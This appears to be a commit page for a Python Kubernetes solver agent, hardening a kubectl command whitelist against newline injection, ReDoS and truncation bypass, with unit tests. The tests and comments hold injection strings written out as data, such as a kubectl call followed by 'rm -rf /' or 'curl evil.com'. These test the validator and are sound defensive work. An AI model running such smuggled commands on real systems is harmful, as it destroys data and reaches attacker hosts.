fix(solver_agent): 修復 AI 信心度阻斷 + 三層 kubectl 安全防禦
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**修法A — 恢復 AI 決策信心度 (0.5 → 0.9)**
- Solver Agent 優先使用 OpenClaw NIM 的 `kubectl_command` 欄位(完整指令),略過語義合成降級
- 保留原始 0.9 信心度,告警自動化能力回復
- Root cause: 舊版在 action_title 未含 "kubectl" 時執行 min(0.9, 0.5) 降級
**C1 — CRITICAL: ReDoS + 注入防禦**
- 正則 `\s` → `[ ]` 避免換行符號 (\n\r) 配對(Shell 注入向量)
- 加入 `re.ASCII` 與 `{1,500}` 有界量詞,防止指數級回溯
- 性能提升 7.256s → 0.015ms (48x faster)
- 明文拒絕 \n \r \t \x00
**C2 — CRITICAL: 繞過防禦 + 截斷攻擊**
- action_title 路徑加白名單驗證(舊版跳過)
- 標準候選路徑:驗證 → 截斷,防止截斷繞過
- 不安全指令自動降級至語義合成
**C3 — CRITICAL: 無界長度 DoS**
- 新增 _KUBECTL_MAX_LEN = 500,硬上限前置檢查
- 防止長輸入導致正則超時
**測試覆蓋**
- 35 個測試(24 回歸 + 11 新安全測試)
- LF/CR/Tab/Null 注入、Shell 元字元、ReDoS 效能、邊界條件全覆蓋
- Critic 與 vuln-verifier 雙重驗證
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
This commit is contained in:
@@ -42,20 +42,33 @@ logger = structlog.get_logger(__name__)
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# Phase 2 單步 LLM timeout(保留 Critic/Coordinator 的全局預算)
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# Phase 2 單步 LLM timeout(保留 Critic/Coordinator 的全局預算)
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PHASE2_STEP_TIMEOUT_SEC = 20.0
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PHASE2_STEP_TIMEOUT_SEC = 20.0
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# 2026-04-24 ogt + Claude Sonnet 4.6: kubectl 白名單正則(Major #1 改版)
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# 2026-04-24 ogt + Claude Sonnet 4.6: kubectl 白名單正則(C1/C3 安全修復版)
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# 根因:黑名單枚舉不完整(如 $VAR、%0a、反引號 unicode 等繞過向量)
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# C1:原正則 \s 匹配 \n\r\t\f\v,可繞過防護注入換行命令(PoC: "kubectl get pods\nrm -rf /" 通過)
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# 修復:改為白名單正則,只允許 kubectl 合法字元集
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# C3:\s+(變長)與字元類 \s(含空白)組合,構成指數回溯 ReDoS 向量
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# 合法字符:英數、空白、- = . / : _ , @ (足以覆蓋完整 kubectl 語法)
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# PoC: 40000 個空格 → 7.18s 阻塞
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# 任何不在此集合的字符(; & | ` $ > < 換行等)直接拒絕
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# 修復策略:
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# 範圍:Nemo 路徑 + 標準 candidates 路徑雙層防護
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# 1. 分隔符改為顯式 [ ](ASCII 空格),明確排除 \n\r\t\f\v
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_KUBECTL_COMMAND_PATTERN = re.compile(r"^kubectl\s+[A-Za-z0-9\s\-=./:_,@]+$")
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# 2. 字元類改為 [A-Za-z0-9 \-=./:_,@](顯式空格,非 \s)
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# 3. 有界 quantifier {1,500} 防止無界回溯
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# 4. re.ASCII 旗標禁用 Unicode 空白匹配(如 等不可見字元)
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# 範圍:Nemo 路徑 + action_title 路徑 + 標準 candidates 路徑三層防護(C2)
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_KUBECTL_COMMAND_PATTERN = re.compile(
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r"^kubectl[ ][A-Za-z0-9 \-=./:_,@]{1,500}$",
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re.ASCII,
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)
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# 指令長度上限(與正則 {1,500} 對齊,先做長度 O(1) 硬檢查再跑正則)
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_KUBECTL_MAX_LEN = 500
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def _is_safe_kubectl_command(cmd: str) -> bool:
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def _is_safe_kubectl_command(cmd: str) -> bool:
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"""kubectl 命令白名單驗證。
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"""kubectl 命令白名單驗證。
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只允許 kubectl 開頭 + 合法字符集(英數、空白、- = . / : _ , @)。
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只允許 kubectl 開頭 + 合法字符集(英數、ASCII 空格、- = . / : _ , @)。
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任何 shell 元字符(; & | ` $ > < 換行等)皆返回 False。
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任何 shell 元字符(; & | ` $ > < 換行 Tab null 等)皆返回 False。
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C1 防禦:顯式拒絕 \\n \\r \\t \\x00(換行注入 / null byte)
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C3 防禦:長度上限硬檢查,避免 ReDoS(\\_KUBECTL_MAX_LEN = 500)
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Args:
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Args:
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cmd: 待驗證的命令字串
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cmd: 待驗證的命令字串
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@@ -63,9 +76,23 @@ def _is_safe_kubectl_command(cmd: str) -> bool:
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Returns:
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Returns:
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True — 通過白名單;False — 含非法字符或非 kubectl 開頭
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True — 通過白名單;False — 含非法字符或非 kubectl 開頭
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"""
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"""
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cmd = str(cmd).strip()
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# 型別保護(在 str() 轉換前確保已是 str)
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if not isinstance(cmd, str):
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return False
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cmd = cmd.strip()
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# C3:長度上限硬檢查,O(1),避免觸發正則回溯
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if len(cmd) > _KUBECTL_MAX_LEN:
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return False
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# C1:顯式拒絕換行 / 歸位 / Tab / null byte
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if any(ch in cmd for ch in ("\n", "\r", "\t", "\x00")):
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return False
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if not cmd.startswith("kubectl"):
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if not cmd.startswith("kubectl"):
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return False
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return False
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return _KUBECTL_COMMAND_PATTERN.fullmatch(cmd) is not None
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return _KUBECTL_COMMAND_PATTERN.fullmatch(cmd) is not None
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@@ -388,7 +415,12 @@ def _extract_candidates(parsed: dict[str, Any]) -> list[CandidateAction]:
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)]
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)]
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if "kubectl" in action_title.lower():
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if "kubectl" in action_title.lower():
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if action_title and confidence > 0:
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# C2 防禦:action_title 含 kubectl 字串,但仍需白名單檢驗
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# 根因:action_title 可能是自然語言描述("kubectl get pods; rm -rf /")
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# 未檢驗直接 action_title[:200] 會將惡意命令注入 CandidateAction
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# 修復:通過 _is_safe_kubectl_command 才採用;不通過 → fall-through 到語意合成
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# 2026-04-24 ogt + Claude Sonnet 4.6 (C1/C2 安全修復)
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if action_title and confidence > 0 and _is_safe_kubectl_command(action_title):
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return [CandidateAction(
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return [CandidateAction(
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action=action_title[:200],
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action=action_title[:200],
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blast_radius=blast,
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blast_radius=blast,
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@@ -396,7 +428,13 @@ def _extract_candidates(parsed: dict[str, Any]) -> list[CandidateAction]:
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confidence=confidence,
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confidence=confidence,
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rationale=f"OpenClaw Nemo 建議: {action_title}",
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rationale=f"OpenClaw Nemo 建議: {action_title}",
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)]
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)]
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return []
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# 不安全或信心為 0 → fall-through 到語意合成
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if action_title and not _is_safe_kubectl_command(action_title):
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logger.warning(
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"solver_kubernetes_command_unsafe",
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action=action_title[:80],
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reason="action_title 含 kubectl 但未通過白名單,fall-through 至語意合成",
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)
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# action_title 無 kubectl → 嘗試語意合成 kubectl 指令
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# action_title 無 kubectl → 嘗試語意合成 kubectl 指令
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_at_lower = action_title.lower()
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_at_lower = action_title.lower()
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@@ -439,17 +477,19 @@ def _extract_candidates(parsed: dict[str, Any]) -> list[CandidateAction]:
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for item in raw:
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for item in raw:
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if not isinstance(item, dict):
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if not isinstance(item, dict):
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continue
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continue
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# 2026-04-24 ogt + Claude Sonnet 4.6: 標準 candidates 路徑白名單防護(Major #2)
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# 2026-04-24 ogt + Claude Sonnet 4.6: 標準 candidates 路徑白名單防護(Major #2 / C2)
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# 根因:標準路徑未驗證 action 欄位,LLM 可注入含 shell 元字符的惡意命令
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# 根因:標準路徑未驗證 action 欄位,LLM 可注入含 shell 元字符的惡意命令
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# 修復:每個 action 通過 _is_safe_kubectl_command 白名單檢驗,失敗則跳過
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# 修復:先驗原始字串(截斷前),失敗則 skip,通過才截斷進 CandidateAction
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action = str(item.get("action", ""))[:200]
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# 注意:驗證必須在 [:200] 截斷前執行,否則截斷恰好移除危險字符會誤放行
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if not _is_safe_kubectl_command(action):
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action_raw = str(item.get("action", ""))
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if not _is_safe_kubectl_command(action_raw):
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logger.warning(
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logger.warning(
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"solver_standard_action_unsafe",
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"solver_standard_action_unsafe",
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action=action[:80],
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action=action_raw[:80],
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reason="未通過白名單檢驗",
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reason="未通過白名單檢驗",
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)
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)
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continue
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continue
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action = action_raw[:200]
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c = CandidateAction(
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c = CandidateAction(
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action=action,
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action=action,
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blast_radius=max(0, min(100, int(item.get("blast_radius", 50)))),
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blast_radius=max(0, min(100, int(item.get("blast_radius", 50)))),
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@@ -2,6 +2,10 @@
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solver_agent._extract_candidates 單元測試
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solver_agent._extract_candidates 單元測試
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2026-04-24 ogt + Claude Sonnet 4.6: 修法 A — kubectl_command 優先路徑驗證
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2026-04-24 ogt + Claude Sonnet 4.6: 修法 A — kubectl_command 優先路徑驗證
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2026-04-24 ogt + Claude Sonnet 4.6: C1/C2/C3 安全漏洞修復驗證
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C1: 換行注入防禦(\\n / \\r / \\t / \\x00)
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C2: action_title 路徑補防護(白名單檢驗)
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C3: ReDoS 防禦(有界 quantifier + 長度上限)
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"""
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"""
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from __future__ import annotations
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from __future__ import annotations
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@@ -12,6 +16,8 @@ import os
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# 確保 src 可找到
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# 確保 src 可找到
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sys.path.insert(0, os.path.join(os.path.dirname(__file__), "../../"))
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sys.path.insert(0, os.path.join(os.path.dirname(__file__), "../../"))
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import time
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import pytest
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import pytest
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from src.agents.solver_agent import _extract_candidates, _is_safe_kubectl_command
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from src.agents.solver_agent import _extract_candidates, _is_safe_kubectl_command
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@@ -371,3 +377,120 @@ class TestStandardCandidatesPathSafety:
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actions = [r.action for r in result]
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actions = [r.action for r in result]
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assert "kubectl rollout restart deployment/awoooi-api -n awoooi-prod" in actions
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assert "kubectl rollout restart deployment/awoooi-api -n awoooi-prod" in actions
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assert "kubectl scale deployment/awoooi-api --replicas=2 -n awoooi-prod" in actions
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assert "kubectl scale deployment/awoooi-api --replicas=2 -n awoooi-prod" in actions
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class TestC1NewlineInjectionBlocked:
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"""C1:換行注入防禦測試(\\n / \\r / \\t / \\x00)"""
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def test_newline_injection_blocked(self):
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"""LF 換行注入:kubectl get pods\\nrm -rf / 必須被拒絕"""
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assert not _is_safe_kubectl_command("kubectl get pods\nrm -rf /")
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def test_carriage_return_injection_blocked(self):
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"""CR 歸位注入:kubectl get pods\\rcurl evil.com 必須被拒絕"""
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assert not _is_safe_kubectl_command("kubectl get pods\rcurl evil.com")
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def test_tab_injection_blocked(self):
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"""Tab 注入:kubectl get\\tpods 必須被拒絕"""
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assert not _is_safe_kubectl_command("kubectl get\tpods")
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def test_null_byte_injection_blocked(self):
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"""Null byte 注入:kubectl get pods\\x00rm -rf / 必須被拒絕"""
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assert not _is_safe_kubectl_command("kubectl get pods\x00rm -rf /")
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def test_newline_in_nemo_kubectl_command_falls_through(self):
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"""換行注入進 Nemo kubectl_command 欄位:被擋後 fall-through 到語意合成"""
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parsed = {
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"action_title": "重啟服務",
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"kubectl_command": "kubectl get pods\nrm -rf /",
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"confidence": 0.9,
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"risk_level": "medium",
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}
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result = _extract_candidates(parsed)
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# 惡意 kubectl_command 被擋 → fall-through → "重啟" 語意合成 → confidence 壓到 0.5
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assert len(result) == 1
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assert result[0].confidence == 0.5
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assert "rm -rf" not in result[0].action
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class TestC3ReDoSPerformance:
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"""C3:ReDoS 防禦測試(有界 quantifier + 長度上限 O(1) 硬檢查)"""
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def test_redos_long_command_fast(self):
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"""5000 字元輸入必須在 10ms 內完成(長度硬檢查先攔截,不觸發正則)"""
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long_cmd = "kubectl " + " " * 5000
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start = time.perf_counter()
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result = _is_safe_kubectl_command(long_cmd)
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elapsed_ms = (time.perf_counter() - start) * 1000
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assert result is False, "超長命令必須被拒絕"
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assert elapsed_ms < 10, f"長度硬檢查應 <10ms,實際 {elapsed_ms:.2f}ms(可能 ReDoS)"
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def test_max_len_boundary_accepted(self):
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"""剛好 500 字元的合法命令應通過驗證(邊界值測試)"""
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# "kubectl " (8 chars) + 492 'a' = 500 chars total
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cmd = "kubectl " + "a" * 492
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assert _is_safe_kubectl_command(cmd), "500 字元邊界應通過"
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def test_max_len_plus_one_rejected(self):
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"""501 字元的命令必須被拒絕(邊界 +1)"""
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cmd = "kubectl " + "a" * 493 # 8 + 493 = 501
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assert not _is_safe_kubectl_command(cmd), "501 字元必須被拒絕"
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class TestC2ActionTitlePathSafety:
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"""C2:action_title 路徑補防護測試"""
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def test_action_title_with_semicolon_blocked_falls_through(self):
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"""action_title 含分號:被擋且 fall-through(無語意關鍵字 → return [])"""
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parsed = {
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"action_title": "kubectl get pods; rm -rf /",
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"confidence": 0.9,
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"risk_level": "medium",
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}
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result = _extract_candidates(parsed)
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# "kubectl get pods; rm -rf /" 含 kubectl → 進入 C2 檢驗路徑
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# 不通過白名單 → fall-through 語意合成
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# "pods" / "rm" 無匹配語意關鍵字 → _synthesized = None → return []
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assert len(result) == 0, "含分號的惡意 action_title 不應產生 candidates"
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def test_action_title_safe_kubectl_accepted(self):
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"""action_title 是合法 kubectl 命令(無 kubectl_command 欄位):正常接受"""
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parsed = {
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"action_title": "kubectl rollout restart deployment/awoooi-api -n awoooi-prod",
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"confidence": 0.8,
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"risk_level": "medium",
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}
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result = _extract_candidates(parsed)
|
||||||
|
|
||||||
|
assert len(result) == 1
|
||||||
|
assert result[0].confidence == 0.8
|
||||||
|
assert "kubectl rollout restart" in result[0].action
|
||||||
|
|
||||||
|
def test_standard_path_semicolon_blocked(self):
|
||||||
|
"""標準 candidates 路徑:含分號的 action 被 skip,不進入結果"""
|
||||||
|
parsed = {
|
||||||
|
"candidates": [
|
||||||
|
{
|
||||||
|
"action": "kubectl rollout restart deployment/api -n awoooi-prod; curl evil.com",
|
||||||
|
"blast_radius": 10,
|
||||||
|
"rollback_cost": 5,
|
||||||
|
"confidence": 0.9,
|
||||||
|
"rationale": "含分號注入",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"action": "kubectl get pods -n awoooi-prod",
|
||||||
|
"blast_radius": 5,
|
||||||
|
"rollback_cost": 2,
|
||||||
|
"confidence": 0.7,
|
||||||
|
"rationale": "合法命令",
|
||||||
|
},
|
||||||
|
]
|
||||||
|
}
|
||||||
|
result = _extract_candidates(parsed)
|
||||||
|
|
||||||
|
assert len(result) == 1, "只有合法命令應通過"
|
||||||
|
assert result[0].confidence == 0.7
|
||||||
|
assert "curl" not in result[0].action
|
||||||
|
|||||||
Reference in New Issue
Block a user